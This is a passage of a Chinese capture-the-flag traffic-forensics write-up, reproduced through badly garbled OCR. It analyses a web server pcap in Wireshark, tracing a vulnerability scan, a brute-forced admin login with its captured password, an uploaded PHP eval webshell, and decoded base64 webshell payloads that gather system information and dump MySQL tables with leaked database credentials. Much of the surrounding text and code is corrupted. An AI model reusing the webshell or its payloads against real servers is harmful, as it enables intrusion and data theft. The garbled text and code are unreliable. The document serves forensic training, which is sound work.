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(431 Z15)\A AFREST: BEEHORH2HMHE?

A
~ 4 i = | =
[I\http contains "wvs" v] + basic basci+ basic+DNS ~ CNameString  certificate
No. Time Source address Source| Destination Destin | Protocol | Info
+> 38.. 2018-08-08 07:23:23 192.168.94.59 1110 192.168.32.189 80 HTTP GET lacunetix—wvs—test—for—some—inexistent—file HTTP/l.l]

[ XoX ) ‘ v ‘w.ebone.!acap |
AmN J©® BMRE Qe=2EZF ] E & & § iF |
I [ http contains "acunetix" ~] 4+ basic basci+ basic+DNS  CNameString certificate
No. Time Source address Source | Destination Destin | Protocol | Info
T 38 2018-08-08 07:23:23 192.168.94.59 1110 192.168.32.189 80 HTTP  GET {acunetix-wvs_test—for—sone inexistent-file)HTTP/1.1
J5 & B RBW
B .
S Y B SRR F BRI T M5 6 ik, Eld s R E IR & k.
PR R
ERBRERFIEFNE GHbl, mr@idwiresharkifiik 5 & urlFFiE k15 50 .
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W5 & urlRF1E:
1.admin
2.manager
3.login
4. system
(4231 Z1E/)\A AFERESTT: BEAR#IINESEFMIERMA?
YN ) . ‘w.ebone.pcap !
AmE e BIREO QessEZF & E @ @  F |
I‘http contains"admin" [X]=> | '] + basic basci+ basic+tDNS CNameString  certificate
No. Time Source address Source Destination Destin  Protocol | Info

2018-08-08 06:35: 168.94.233 . GET /admin/index.php HTTP/1.1

32 2018-08-08 06:35:16 192.168.32.189 80 192.168.94.233 547.. HTTP HTTP/1.1 302 Found

37 2018-08-08 06:35:16 192.168.94.233 547.. 192.168.32.189 80 HTTP GET /admin/login.php HTTP/1.1

86 2018-08-08 06:35:42 192.168.94.233 547.. 192.168.32.189 80 HTTP POST /admin/login.php?rec=login HTTP/1.1 (application/x-www-form-urlenc 2
89 2018-08-08 06:35:42 192.168.32.189 80 192.168.94.233 547.. HTTP HTTP/1.1 302 Found

93 2018-08-08 06:35:42 192.168.94.233 547.. 192.168.32.189 80 HTTP GET /admin/index.php HTTP/1.1

149 2018-08-08 06:36:52 192.168.94.233 547.. 192.168.32.189 80 HTTP GET /admin/manager.php?rec=manager_log HTTP/1.1

155 2018-08-08 06:36:52 192.168.32.189 80 192.168.94.233 547.. HTTP HTTP/1.1 200 OK (text/html)

165 2018-08-08 06:36:55 192.168.94.233 547.. 192.168.32.189 80 HTTP GET /admin/system.php HTTP/1.1

/admin/login.php?rec=login
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FHX4r4: http.request.method=="POST" and http contains "<& %",
[4:3]) Z1E/)\A ARREST: BREHATHAKSEEBER Tweb56?
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http.request.method=="POST" and ip.src==192.168.94.59 and http contains "rec=login"

[ oK ) M webone.pcap

& N i = :

Am @ BNREO Qess=g5 8 . = @ T

Il | http.request.method=="POST" and ip.src==192.168.94.59 and http contains "rec=login" (X] v] + basic basci+ basictDNS  CNameString  certificate

No. ~ [Time Source address Source Destination Destin Protocol | Lengtt Info
73.. 2018-08-08 08:08:25 192.168.94.59 120.. 192.168.32.189 80 HTTP 732 POST /admin/login.php?rec=Llogin HTTP/1.1 (application/x-www—form-
73.. 2018-08-08 08:08:25 192.168.94.59 120.. 192.168.32.189 80 HTTP 736 POST /admin/login.php?rec=login HTTP/1.1 (application/x-www-for
73.. 2018-08-08 08:08:25 192.168.94.59 120.. 192.168.32.189 80 HTTP 732 POST /admin/login.php?rec=login HTTP/1.1 (application/x-www—form-;
73.. 2018-08-08 08:08:31 192.168.94.59 120.. 192.168.32.189 80 HTTP 733 POST /admin/login.php?rec=login HTTP/1.1 (application/x-www—form-
73.. 2018-08-08 08:08:31 192.168.94.59 120.. 192.168.32.189 80 HTTP 734 POST /admin/login.php?rec=login HTTP/1.1 (application/x-www—form-;
73.. 2018-08-08 08:08:31 192.168.94.59 120.. 192.168.32.189 80 HTTP 736 POST /admin/login.php?rec=login HTTP/1.1 (application/x-www—form-
73.. 2018-08-08 08:08:31 192.168.94.59 120.. 192.168.32.189 80 HTTP 734 POST /admin/login.php?rec=login HTTP/1.1 (application/x-www—form-.
73.. 2018-08-08 08:08:31 192.168.94.59 120.. 192.168.32.189 80 HTTP 735 POST /admin/login.php?rec=login HTTP/1. (application/x-www—fori

73.. 2018-08-08 08:08:34 192.168.94.59 120.. 192.168.32.189 80 HTTP 734 [TCP Spurious Retransmission] POST /admin/login.php?rec=login
73.. 2018-08-08 08:08:34 192.168.94.59 120.. 192.168.32.189 80 HTTP 735 [TCP Spurious Retransmission] POST /admin/login.php?rec=login
73.. 2018-08-08 08:08:34 192.168.94.59 120.. 192.168.32.189 80 HTTP 736 [TCP Spurious Retransmission] POST /admin/login.php?rec=login
73.. 2018-08-08 08:08:34 192.168.94.59 120.. 192.168.32.189 80 HTTP 734 [TCP Spurious Retransmission] POST /admin/login.php?rec=login

.. 2018-08-08 :50 192.168. 235 .168.32.189 HTTP 731 POST /admin/login.php?rec=login HTTP/1.1 (application/x-www-for
+ 73.. 2018-08-08 08:11:45 192.168.94.59 126.. 192.168.32.189 80 HTTP 754 POST /admin/login.php?rec=login HTTP/1.1 (application/x-www—for

Frame 733517: 754 bytes on wire (6032 bits), 754 bytes captured (6032 bits)
Ethernet II, Src: Hangzhou_39:42:ed (b@:f9:63:39:42:ed), Dst: VMware_cb:9f:85 (00:0c:29:cb:9f:85)
Internet Protocol Version 4, Src: 192.168.94.59, Dst: 192.168.32.189
Transmission Control Protocol, Src Port: 12620, Dst Port: 80, Seq: 1, Ack: 1, Len: 700
Hypertext Transfer Protocol
HTML Form URL Encoded: application/x-www—form-urlencoded
Form item: "user_name"
Form item: "password" = fadmin!@#pass123"

Form item: "submit" = "&HR"

BEg2: REFERKEANTOX, HEpostE R (HATEFEE)

19.. 2018-08-08 06:50:49 192.168.94.233 552.. 192.168.32.189 80 HTTP 1090 POST /admin/backup.php?rec=backup HTTP/1.1 (application/x-www—f
74.. 2018-08-08 07:23:32 192.168.94.59 1470 192.168.32.189 80 HTTP 777 POST /admin/login.php?rec=password_reset_post HTTP/1.1 (applica
12.. 2018-08-08 07:23:42 192. .94. .168. HTTP 768 POST /admin/login.php?wvstest=javascript:domxssExecutionSink(1,%
.. 2018-08-08 759 [TCP Spurious Retransmission] POST /admin/login.php?rec=login HTTH
72.. 2018-08-08 07:59:55 192.168.94.59 103.. 192.168.32.189 80 HTTP POST /admin/login.php?rec=login HTTP/1.1 (application/x-www—form-——
POST /admin/login.php?rec=login HTTP/1.1 (application/x—-www—form-
POST /admin/login.php?rec=login HTTP/1.1 (application/x-www—form-
POST /admin/login.php?rec=login HTTP/1.1 (application/x-www—fori
POST /admin/login.php?rec=login HTTP/1.1 (application/x-www—fori
[TCP Spurious Retransmission] POST /admin/login.php?rec=login HTT
POST /admin/login.php?rec=1login HTTP/1.1 (application/x-www—fori
POST /admin/login.php?rec=1login HTTP/1.1 (application/x-www—fori
POST /admin/login.php?rec=1login HTTP/1.1 (application/x—www—form

i 73.. 2018-08-08 08:11:45 192.168.94.233 569.. 192.168.32.189 80 HTTP
490 2018-08-08 06:41:17 192.168.94.233 548.. 192.168.32.189 80 HTTP
86 2018-08-08 06:35:42 192.168.94.233 547.. 192.168.32.189 80 HTTP
72.. 2018-08-08 07:59:56 192.168.94.59 103.. 192.168.32.189 80 HTTP
72.. 2018-08-08 07:59:55 192.168.94.59 103.. 192.168.32.189 80 HTTP
72.. 2018-08-08 07:59:47 192.168.94.59 103.. 192.168.32.189 80 HTTP
72.. 2018-08-08 07:59:53 192.168.94.59 103.. 192.168.32.189 80 HTTP

. 2018-08-08 Spurious Retransmission] POST /admin/login.php?rec=login HTTH
72.. 2018-08-08 08:03:39 192.168.94.59 111.. 192.168.32.189 80 HTTP POST /admin/login.php?rec=login HTTP/1.1 (application/x-www—form-
72.. 2018-08-08 08:03:39 192.168.94.59 111.. 192.168.32.189 80 HTTP POST /admin/login.php?rec=login HTTP/1.1 (application/x-www—form-ur cenc
Frame 733517: 754 bytes on wire (6032 bits), 754 bytes captured (6032 bits)
Ethernet II, Src: Hangzhou_39:42:ed (b0:f9:63:39:42:ed), Dst: VMware_cb:9f:85 (00:0c:29:cb:9f:85)
Internet Protocol Version 4, Src: 192.168.94.59, Dst: 192.168.32.189
Transmission Control Protocol, Src Port: 12620, Dst Port: 80, Seq: 1, Ack: 1, Len: 700
Hypertext Transfer Protocol
HTML Form URL Encoded: application/x-www-form-urlencoded

Form item: "user_name" = "admin"

Form item: "password" = "admin!@#pass123"

Form item: "submit" = "ZZx"
WEBSHELL I %

ABAY .
BB L #E b T B Ewebshell 3, i@ 4 i KR E AR R B B E# L& Kwebshell A%
ﬁﬁtﬁ%:

Webshell 3t A& % R post 7ik1E K, WA E Nk Feval, system, assert®E. FERERFILFRL
webshell 7] i id wireshark i % H POST i K Fll < 58 .

HHx4: http.request.method=="POST" and http contains "4 5"



(4211 2185\ A EFRE ST BE EEKwebshell X2 £? WERMTA?

oK ) M webone.pcap
A = BORE Re=2=Z3 ¢ E & & & iF
[I[http.request.method::“POST“ and http contains "eval" v] + basic basci+ basic+tDNS CNameString  certificate

No. Time Source address Source Destination Destin Protocol  Len¢~ |Info
4» 73.. 2018-08-08 08:19:13 192.168.94.59 134.. 192.168.32.189 80 HTTP 1535 POST /images/article/a.php HTTP/1.1 (application/x-www—form-urlen
73.. 2018-08-08 08:19:11 192.168.94.59 134.. 192.168.32.189 80 HTTP 1535 POST /images/article/a.php HTTP/1.1 (application/x-www-form-urlen

73.. 2018-08-08 #8:18:4@ 192.168.94.59 134.. 192.168.32.189 8@ HTTP 1512 POST /imaaes/article/a.nhn HTTP/1.1 (annlication/x-www—form-urlencoded)

Frame 734728: 1535 bytes on wire (12280 bits), 1535 bytes captured (12280 bits)

Ethernet II, Src: Hangzhou_39:42:ed (b@:f9:63:39:42:ed), Dst: VMware_cb:9f:85 (00:0c:29:cb:9f:85)
Internet Protocol Version 4, Src: 192.168.94.59, Dst: 192.168.32.189

Transmission Control Protocol, Src Port: 13481, Dst Port: 80, Seq: 247, Ack: 1, Len: 1481

[2 Reassembled TCP Segments (1727 bytes): #734726(246), #734728(1481)]

Hypertext Transfer Protocol /

HTML Form URL Encoded: application/x-www-form-urlencoded

> Form item: "1234" = "@eval (base64_decode($_POST [action]));"

Form item: "action" =

"QGluaV9zZXQgKCAIZGIzcGxheV9lcndvenMiLCAIMCIgKT tAc2VOX3RpbWVIbGltaXQgKCAwICK7
QHNIdFOtYWdpY 19xdW90ZXNfcnVudGItZSAcIDAgKT Y 2hvICgiL T 58lik7 OyRtID0gZ2V0X21h
Z21jX3F 1b3RIc19ncGMgKCk7JGNvbmYgPSAkbSA/IHNOcmlwc2xhc2hicyAo

Base64 TELImBfAEIT (m17/mi Base6s w5 TH)

Base64 | URLEncode | MD5 | TimeStamp

BINE T Baseb4 (RIS EIBHNTR

QGluaV9zZXQgKCAIZGlzcGxheV9lcnJvenMILCAIMCIgKTtAc2VOX3RpbWVbGltaXQgKCAWICK7
QHNIdFOtYWdpY 19xdWO0ZXNfecnVudGItZSAolDAgKTHYZ2hvICgiLT58lik 70yRtIDOgZ2V0X21h
Z2[jX3F 1b3RIc19ncGMgKCk7JGNvbmYgPSAkbSA/IHNOcmlwec2xhc2hlcyAo

#
#8t5 (Encode) f##18 (Decode) PR (RASIRER: + )
Base64 #RIBRAFHHILER: O %/WREEEEE

@ini_set ( "display_errors", "0" );@set_time_limit ( 0 );@set_magic_quotes_runtime ( O );echo ("->|");;$m =
get_magic_quotes_gpc ();$conf = $m ? stripslashes (

RHGFBIFA TR, BEcp

POST /images/article/a.php HTTP/1.1

User-Agent: Java/1.8.0_171

Host: 192.168.32.189

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; g=.2
Connection: keep-alive

Content-type: application/x-www-form-urlencoded
Content-Length: 677

1234=@eval.

(base64_decode($_POST [action]));&action=QGluaV9zZXQoImRpc3BsYX1fZXJyb3JzIiwiMCIp0@BzZXRfdG1tZV9saWlpdCgwKTtAc2V@X21hZ21jX3F1b3R1c19ydW50aWl1KDAp02VjaG8oIi0%2BfCIp0zskRD1kaXJuYWl
1KCRfU@VSVKVSWyJTQ1JJUFRfRKIMRUSBTUUiXSk7aWY0oJEQIPSIiKSREPWRpcm5hbWUoJF9TRVIWRVIbI1BBVEhfVFIBTINMQVRFRCIAKTskUj@ieyREfVX0IjtpZihzdW]zdHIoJEQSMCwxKSE9Ii8iKXtmb3J 1YWNoKHIhbmd 1KCIB
TiwiWiIpIGFzICRMKWIMKG1zX2RpcigieyRMfToiKSkkUi49InskTHO61Ijt9IFIuPSIcdCI7IHUIKGZ1bmNOaWIuX2V4aXNOcygncG9zaXhfZ2VoZwdpZCcpKT9AcGIzaXhfZ2VOcHd1aWQoQHBYc214X2d1dGV1aWQoKSk6Jyc7IHVzc
j@0JHUpPYR1WyduYW111106QGd ldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW11KCk7IFIuPSIoeyR1c3J9KSI7cHIpbnQgJFI702VjaG80Inw8LSIp02RpZSgpOws3D%3DHTTP/1.1 200 OK

Date: Wed, 08 Aug 2018 08:13:44 GMT

Server: Apache/2.2.15 (Cent0S)

X-Powered-By: PHP/5.4.45

Content-Length: 140

Connection: close

Content-Type: text/html; charset=UTF-8

—>|/var/www/html/images/article Linux localhost.localdomain 2.6.32-504.23.4.e16.x86_64 #1 SMP Tue Jun 9 20:57:37 UTC 2015 x86_64(apache) |<—



Base64 FELIRIDHRIT (mirmi Basebs L4 TH)

Base64 | URLEncode | MD5 | TimeStamp

BHAEHTT Baseb4 RIEXRBEHER

QGluaV9zZXQolmRpc3BsYXITZXJyb3JzliwiMClpO0BzZXRfdGItZV9saW 1 pdCgwKTtAcZVOXZ2ThZZ2ljX3F Tb3RIcT9ydWb0awW Tl
KDApO2VjaG8oli0%2BfClpOzskRD TkaXJuYW1IKCRfUOVSVKVSWYJTQ1JJUFRfRKIMRUSBTUUIXSk7aWYoJEQIPSIIKSREPW
Rpcm5hbWUoJFOSTRVIWRVJbIIBBVEhfVFJBTINMQVRFRCJdKTskUjOieyREfVxO0ljtpZihzdWJzdHIoJEQsMCwxKSESIi8iIKXtmb3
JIYWNoKHJhbmdIKCJBliwiWilplGFzZICRMKWIMKGIzZX2RpcigieyRMfToiKSkkUi49Insk THO61jt9JFIuPSJcdCI7JHUSKGZ 1 bmNOa

W9OuX2V4aXNOcygncG9zaXhfZ2V0ZWdpZCcpKT9AcGIzaXhfZ2V0cHd 1aWQoQHBvc214X2dIdGV 1aWQoKSk6Jyc7JHVzcj0

oJHUpPYRTWyduYW11J106QGdIdFOjdXJyZW50X3VzZXloKTskUi49cGhwX3VuYW1IKCk7JFluPSloeyR1c3J9KSI7cHJpbnQgJ

FI702VjaG8oInw8LSIpOZ2RpZSgpOw%3D%3D

4815 (Encode) f#15 (Decode) PR (RERER: + )
Base64 IS ABHILER: O 4R/ BBE B R2%E

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("-
>|");;$D=dirname($_SERVER["'SCRIPT_FILENAME"));if ($D=="")$D=dirname($_SERVER['PATH_TRANSLATED"]);$R="
{$DN\t"if (substr($D,0,1)!="/") {foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}."}$R.="\t";$u=
(function_exists('posix_getegid')) ?@posix_getpwuid(@posix_geteuid()):";$usr=($u)?
$u['name'l:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();

MRIBSEEE . AERNE e

[ JOX } M webone.pcap
= gm =
A m ©@ B[ RE Re==EF ¥ | = @ @ § IF
I\tcp contains "<?php @eval" v] 4+ basic basci+ basic+DNS  CNameString  certificate
No. ~ Time Source address Source| Destination Destin Protocol  Lengtt Info

08:12:49 192.168.94.59 2.168.

08 08:12:34 192.168.94.59 127.. 192.168.32.189 80 TCP 1514 [TCP Retransmission] 12716 - 80 [PSH, ACKI]

Seq=5677 Ack=1 Win=17408 Len=

1=5066 Ack=1 Wi 08n.de@




span><span style="line-height:200%; font-family:calibri;font-size:16px;">600</span><span style="1line
(P35 noooo00C000C00Co000000000000000000000000C000000050000000900C000030000000C0000000000000000300
style="1line-height:200%; font—family:calibri; font-size:16px;">150</span><span style="1line-height:200
style="1line-height:200%; font-family:calibri; font-size:16px;">1300</span><span style="1line-height:20
style="1line-height:200%; font—family:calibri; font-size:16px;">266</span><span style="1line-height:200
1(&EP3 "S5 000U D0V C00OCOOCO000C00000000000000000000C00C000000000000000C000000000000000C0000000000000000
sran s nnnnnaaaa</Span>

</p>
</div>
<p>

<br />
</p>

—————— WebKitFormBoundaryUIPbEBT13j473BL00
Content-Disposition: form-data; name="image"; filename="1.php"
Content-Type: application/octet-stream

<?php @eval($_P0ST[1234]);7>
—————— WebKitFormBoundaryUIPbEBT13j473BL00
Content-Disposition: form-data; name="keywords"

—————— WebKitFormBoundaryUIPbEBT13j473BL00
Content-Disposition: form-data; name="description"

—————— WebKitFormBoundaryUIPbEBT1j473BL00
Content-Disposition: form-data; name="token"

f4cf8ebb
—————— WebKitFormBoundaryUIPbEBT1j473BL00
Content-Disposition: form-data; name="image"

images/article/a.png
—————— WebKitFormBoundaryUIPbEBT1j473BL00
Content-Disposition: form-data; name="id"

10
—————— WebKitFormBoundaryUIPbEBT1j473BL00
Content-Disposition: form-data; name="submit"

—————— WebKitFormBoundaryUIPbEBT1j473BL0O0—
HTTP/1.1 200 OK
Date: Wed, 08 Aug 2018 ©08:12:30 GMT

i A Ar e~ aAs

Packet 733805.5 client pkts,2 server pkts, 1 turn.Click to select.

Entire conversation (10kB) Show dataas  ASCII

Find:

HAibEH
1.HE AT AN MG BEEBE, EHTRE, BE1Erobots.txtHH Eflag 4
BEg—: FHXIR, #ZKrobots.txt



o000 Wireshark - Export - HTTP object list

Text Filter: ' robo]|

Content Type: All Content-Typese

Packet ~ Hostname Content Type Size Filename

4068 192.168.32.189 text/plain 283 bytes robotsixt
439045  evilhostjNLA... text/plain 283 bytes robotsixt
439135 192.168.32.1... text/plain 283 bytes robotsixt
439181 evilhostlvqdB... text/plain 283 bytes  robotsixt
439232  evilhostvb2fZ... text/plain 283 bytes  robotsixt
647041 192.168.32.189 text/plain 283 bytes  robotsixt

ReE, REITIF

flag: flag:87b7cb79481f317bde90c116cf36084b

B . H#id¥Ehttp contains"Disallow"

robots.txt

https://blog.csdn.net/mC



oK ) M webone.pcap

Am i© mNREC Qes=F 8- E @ g q &

l|http contains"Disallow" X ] =b | v]
No. ~ Time Source address Source Destination Destin Protocol ' Lengtt Info
40.. 2018-08-08 07:23:28 192.168.32.189 80 192.168.94.59 1138 HTTP 605 HTTP/1.1 20@ OK (text/plain)
43.. 2018-08-08 07:40:49 192.168.32.189 80 192.168.94.59 4549 HTTP 605 HTTP/1.1 200 OK (text/plain)

Frame 4068: 605 bytes on wire (4840 bits), 605 bytes captured (4840 bits)

Ethernet II, Src: VMware_cb:9f:85 (00:0c:29:cbh:9f:85), Dst: Hangzhou_39:42:ed (b0:f9:63:39:42:ed)
Internet Protocol Version 4, Src: 192.168.32.189, Dst: 192.168.94.59

Transmission Control Protocol, Src Port: 80, Dst Port: 1138, Seq: 1, Ack: 283, Len: 551

Hypertext Transfer Protocol

Line-based text data: text/plain (13 lines)
User—agent: *\r\n
Disallow: /admin/\r\n
Disallow: /cache/\r\n
Disallow: /data/\r\n
Disallow: /include/\r\n
Disallow: /install/\r\n
Disallow: /languages/\r\n
Disallow: /m/include/\r\n
Disallow: /m/theme/\r\n
Disallow: /theme/\r\n
Disallow: /upgrade/\r\n

Dicallaow: /cantecha nho\r\n

[ f1ag:87b7cb79481f317bde90c116cf36084b\r\n

2REAFAMME R BEZEIE, BATRE, BERINBEEFEELZ D

e0e® M webone.pcap
e e =H=LI
M | http contains"dbhost" v] +
No. ~ Time Source address Source | Destination Destin | Protocol | Lengtt | Info
73.. 2018-08-08 08:17:39 192.168.32.189 80 192.168.94.59  133.. HTTP 255 HTTP/1.1 200 OK (text/html)

73.. 2018-08-08 08:18:05 192.168.32.189 80 192.168.94.59  133.. HTTP 1341 HTTP/1.1 200 OK (text/html)

| NON ] M webone.pcap

Ami© BOREO Qess=F & = &  §

I | http contains"dbhost"

No. ~ | Time Source address Source port Destination Destination port
734536 2018-08-08 08:17:39 192.168.32.189 80 192.168.94.59 13308
734581 2018-08-08 08:18:05 192.168.32.189 80 192.168.94.59

* Author: DouCo\n

* Release Date: 2015-06-10\n
*/\n

\n

// database host\n

L$rdbhost = "10.3.3.101";\n |

n
// database name\n

$dbname = "web";\n

\n

\n

// database username\n

$dbuser = "web";\n

\n

// database password\n

$dbpass = "eb67jUPvIjXHVEUV";\n

WK TR
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RGO Re=sEF &

Q Q Q Tr

[I [http contains "10.3.3.101"

- ] + basic basci+ basic+DNS CNameString certificate

No. ~ | Time Source address
I 2018-08-08 08:18:05
734652 2018-08-08 08:18:40 192.168.94.59
734668 2018-08-08 08:18:44 192.168.94.59
734710 2018-08-08 08:19:11 192.168.94.59

734728 2018-08-08 08:19:13 192.168.94.59

POST /images/article/a.php HTTP/1.1
User-Agent: Java/1.8.0_171
Host: 192.168.32.189

168.32.189

Source port

13416
13424
13462
13481

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; @¢=.2

Connection: keep-alive
Content-type: application/x-www-form-urlencoded
Content-Length: 1458

1234=@eval.

Destination

192.
192.
192.
192.

168.94.59
168.32.189
168.32.189
168.32.189
168.32.189

Protocol ' Length ' Info

HTTP/1.1 200 OK (text/html)
POST /images/article/a.php HTTP/1.1 (applicatig
POST /images/article/a.php HTTP/1.1 (applicatid
POST /images/article/a.php HTTP/1.1 (applicatid
POST /images/article/a.php HTTP/1.1 (applicatid

80 HTTP 1512
80 HTTP 60
80 HTTP 1535
80 HTTP 1535

(base64_decode($_POST[action]));&action=QGluaV9zZXQgKCAiZG1lzcGxheV9lenIvenMil CAIMCIgKTtAC2VOX3RpbWVfbG1taXQgKCAWICk7%0D%0AQHN 1dFItYWdpY19xdWIOZXNTcnVudGltZSAoIDAGKTt1Y2hvICgilT5
8Iik70yRtID@GZ2V0OX21h%0D%0AZ21]jX3F1b3R1c19ncGMgKCk7IGNvbmYgPSAKbSA%2FIHN@cmlwc2xhc2h1cyAoICRTFUEITVCBbINox%@D%@AI 10gKSAGICRFUEITVCBbInoxI107JIGFyIDO@gZXhwbGOkZSgiY2hvemFoZWloZWloZW
kiLCAkY29u%0D%0AZik7IGRibiA9ICRtID8gc3RyaXBzbGFzaGVzICggIFIQTINUIFsiej IiXSApIDogIFIQTINUIFsi%0D%@Ae]jIiXTskc3FSIDOGYMFZZTYOX2R1Y29kZSA0ICRFUEITVCBbINozI10gKTskVCAIIEBteXNxbF9j%0D
%0Ab25uZWNOKCRhc LswXSwkYXIbMV@sJGFyWzJdKTtAbX1zcWxfcXV1cnkgKCAiUOVUIESBTUVTIHV@%0D%0AZ]jgiICk7aWYoJGRibj@9IiIpeyRzcWwgPSAiUOhPVYBEQVRBQKFTRVMi0yRXxID@GQG15c3FsX3F1%0D%0AZXI5ICggIH
NxbCApOyRpIDOgMDt3aG1lsZSgkcnM9QG15c3FsX2Z1dGNoX3JvdygkcSkpe2V]jaG80%0D%0AdHIpbSgkcnNbMFOpLMNocig5KSkuI1x@fFx@XHIcbil7 fUBteXNxbF9jbG9zZSgkVCk702VjaG80%0D%0AINw8LSIp02RpZSgp0311bHN
TewlAbX1zcWx fc2VsZWNOX2RiICggIGRibiApOYRXIDOGQG15C3Fs%0D%0AX3F1ZXI5I1CggIHNXbCAPOYRpIDOGMDt3aGlsZSA0ICR] b2wgPSBAbX1zcWx fZml IbGRFbmFtZSA0%0D%@ATICRXLCAkaSAPICkge2VjaG8gKCR] b2wgLiAi
XHR8XHQiKTskaSArkzt9ZWNobyAoIlxyXG4iKTt3%0D%0AaGlsZSAoICRycyAIIEBteXNxbFImZXRjaF9yb3cgKCAkcSApICkge2ZvcigkYyA9IDA7ICR] IDwg%@D%@AIGk7 ICR] ICs rkSB7ZWNobyAodHIpbSAoICRycyBbJGNdICkpO
2VjaG8gKCIcdHxcdCIp0311Y2hvs@D%OAICgiXHIcbiIp031AbX1zcWx fY2xvc2UgKCAKVCApOzt1Y2hvICgifDwtIik7ZG11ICgp030%3D&z1=10.3.3.101choraheiheiheiwebchoraheiheiheie667jUPv]jXHVEUv&z2=web

&z3=c2hvdyBOYWJsZXMgZnJvbSB3ZWIJHTTP/1.1 200 0K
Date: Wed, 08 Aug 2018 08:18:40 GMT

Server: Apache/2.2.15 (Cent0S)

X-Powered-By: PHP/5.4.45

Content-Length: 204

Connection: close

Content-Type: text/html; charset=UTF-8

—>|Tables_in_web |
dou_admin |
dou_admin_log |
dou_article |
dou_article_category |
dou_config |
dou_link |
dou_nav |
dou_page |
dou_product
dou_product_category |
dou_show |

@ini_set ("display_errors", "0" );@set_time_limit (0 );@set_magic_quotes_runtime ( 0 );echo ("->[");;$m =

get_magic_quotes_gpc ();$conf = $m ? stripslashes ($ _POST ['z1"] ) : $§_POST ["z1"];$ar = explode("choraheiheihei",
$conf);$dbn = $m ? stripslashes ($ _POST ['22"] ) : $ POST ['z2"];$sql = base64_decode ($_POST ['z3"] );$T =
@mysql_connect($ar{0],$ar[1],$ar[2]);@mysql_query ("SET NAMES utf8" );if($dbn==""}$sql = "SHOW
DATABASES";$q = @mysql_query ( $sql );$i = O;while($rs=@mysq|_fetch row($q))
{echo(trim($rs[0]).chr(9))."t\t\\n";}@mysql_close($T);;echo("|<-");die();}else{ @mysql_select db ( $dbn );$q =
@mysql_query ( $sql );$i = O;while ( $col = @mysql_field_name ( $q, $i ) ) {echo ($col . "\t|\t");$i ++;}echo ("\r\n");while ( $rs
= @mysql_fetch _row ($q ) ) {for($c = 0; $c < $i; $c ++) {echo (trim ( $rs [$c] ));echo ("\t|\t");}echo ("\\n");}@mysql_close (

$T );;echo ("|<-");die ();}

base64f#iL 2 j5, Wk
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‘e0 @ M webone.pcap

a4 = BRE Re=2=3 &5 = & @ § F

[ nttp contains "ijnu@test.com" ~] + basic basci+ basictDNS CNameString certificate
No. Time Source address Source port | Destination Destination port Protocol | Length ' Info

4} 541 2018-08-08 06:41:28 192.168.32.189 80 192.168.94.233 54876 HTTP 878 HTTP/1.1 200 OK (text/html)

1. BRAGRINMMSBHERZEE, EoMRE, HRZARHKweb k%%, MREERRM A, REXMKHMip

‘e0e@ M webone.pcap
T N =
a4 = BORE Re=2=EZ3 &, = & @ & iF
[ http contains "eth0" <] + basic basci+ basic+DNS  CNameString  certificate
No. ~ | Time Source address Source port | Destination Destination port Protocol | Length |Info
712885 2018-08-08 07:56:41 192.168.94.59 8775 192.168.32.189 80 HTTP 324 [TCP ACKed unseen segment] [TCP Previous segment

734790 2018-08-08 08:19:40 192.168.32.189 80 192.168.94.59 13523 HTTP 249 HTTP/1.1 200 OK (text/html)

734849 2018-08-08 08:20:26 192.168.32.189 80 192.168.94.59 13562 HTTP 249 HTTP/1.1 200 OK (text/html)

Line-based text data: text/html (31 lines)
—>|etho Link encap:Ethernet HWaddr 00:0C:29:CB:9F:85 \n
inet addr:192.168.32.189 Bcast:192.168.32.255 Mask:255.255.255.0\n
inet6 addr: fe80::20c:29ff:fecb:9f85/64 Scope:Link\n
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1\n
RX packets:1599038 errors:@ dropped:@ overruns:@ frame:0\n
TX packets:2032856 errors:@ dropped:@ overruns:@ carrier:0\n
collisions:@ txqueuelen:1000 \n
RX bytes:476426339 (454.3 MiB) TX bytes:1041835470 (993.5 MiB)\n
\n
ethl Link encap:Ethernet HWaddr 00:0C:29:CB:9F:8F \n
inet addr:10.3.3.100 Bcast:10.3.3.255 Mask:255.255.255.0\n
inet6 addr: fe80@::20c:29ff:fech:9f8f/64 Scope:Link\n
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1\n
RX packets:1174416 errors:@ dropped:@ overruns:@ frame:@\n
TX packets:1032202 errors:@ dropped:@ overruns:@ carrier:@\n
collisions:@ txqueuelen:1000 \n
RX bytes:832835972 (794.2 MiB) TX bytes:102428452 (97.6 MiB)\n
\n
lo Link encap:Local Loopback \n
inet addr:127.0.0.1 Mask:255.0.0.0\n
inet6 addr: ::1/128 Scope:Host\n
UP LOOPBACK RUNNING MTU:65536 Metric:1\n

HEATAMM Y BREBE, BHTRE, BEMEHTHAKSER TmalR4% (B username/password)
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